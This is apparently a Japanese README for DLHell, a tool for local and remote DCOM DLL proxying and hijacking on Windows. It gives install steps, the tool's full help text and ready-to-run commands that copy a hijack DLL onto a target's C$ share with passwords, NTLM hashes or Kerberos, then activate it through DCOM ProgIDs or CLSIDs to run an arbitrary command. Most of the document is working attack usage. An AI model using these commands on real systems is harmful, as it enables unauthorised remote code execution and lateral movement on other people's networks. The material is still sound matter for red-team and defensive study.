
DLHell は、Windows のローカルおよびリモートでの DCOM DLL プロキシングを実行します。
以下のパッケージが必要です(ディストリビューションによって異なる場合があります。次の例は Debian 12 用です)。
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64
pip 依存関係をインストール:
pip3 install -r requirements.txt
次のコマンドは、ホスト 10.137.0.48 上の netutils.dll ライブラリを、calc.exe を起動する template.tpe テンプレートファイル(C++ ソースのハイジャック用ライブラリ)からハイジャックします。元の DLL とプロキシ DLL は両方とも、program files/windows nt/accessories/ フォルダ(リモートターゲットの C$ 共有内)に配置されます。
-remote-target オプションには Impacket 構文を使用してください。
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'
Kerberos 認証も使用できます:
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1
利用可能な CLSID と ProgID の一覧を表示:
DLHell.py -list
____ _ _ _ _ _
| _ \| | | | | | ___| | |
| | | | | | |_| |/ _ \ | |
| |_| | |___| _ | __/ | |
|____/|_____|_| |_|\___|_|_|
DLHell v1.0
usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
[-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
[-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]]
DLL Hell - DLL Proxifier/Hijacker
options:
-h, --help show this help message and exit
-local-lib LOCAL_LIB Path of the remote library on the local system, ex: version.dll
-remote-lib REMOTE_LIB
Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
Will connect using SMB on C$ share. Admin rights needed. Requires -target
-local-target LOCAL_TARGET
The new name of the local output proxyfied library
-remote-target REMOTE_TARGET
The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
share. Admin rights needed. Requires -target
-target TARGET [[domain/]username[:password]@]<targetName or address>
-clsid CLSID CLSID of DCOM class to activate
-progid PROGID ProgID of DCOM class to activate
-t T, -template T Template file to use for lib generation
-c C, -command C Command to execute using hijacked lib
-u U, -user U Name of the user to hijack (used to put DLLs in localappdata folder)
-l, -list Lists vulnerable CLSID & ProgID for DCOM Hijacking
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN)
specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as
target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
ローカル DLL を作成するには、-local-lib(プロキシ DLL の名前)と -local-target(名前を変更した元の DLL)オプションを使用します:
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'
リモート DLL ハイジャックの場合は、-target、-remote-lib(リモートホスト上の元の DLL の名前)、-local-target(名前を変更した元の DLL)オプションを指定します:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'
DCOM DLL プロキシングは、-progid および -clsid オプションを使用して悪用できます。利用可能な CLSID と ProgID の一覧は、次のコマンドで確認できます:
DLHell.py -list
dcom.json ファイルに新しいハイジャックを追加できます。このファイルは、脆弱なライブラリのパスを定義します:
その後、ProgID または CLSID のみで以下の操作が可能です:
ProgID WordPad.Document.1 の例:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1
CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959 の例:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959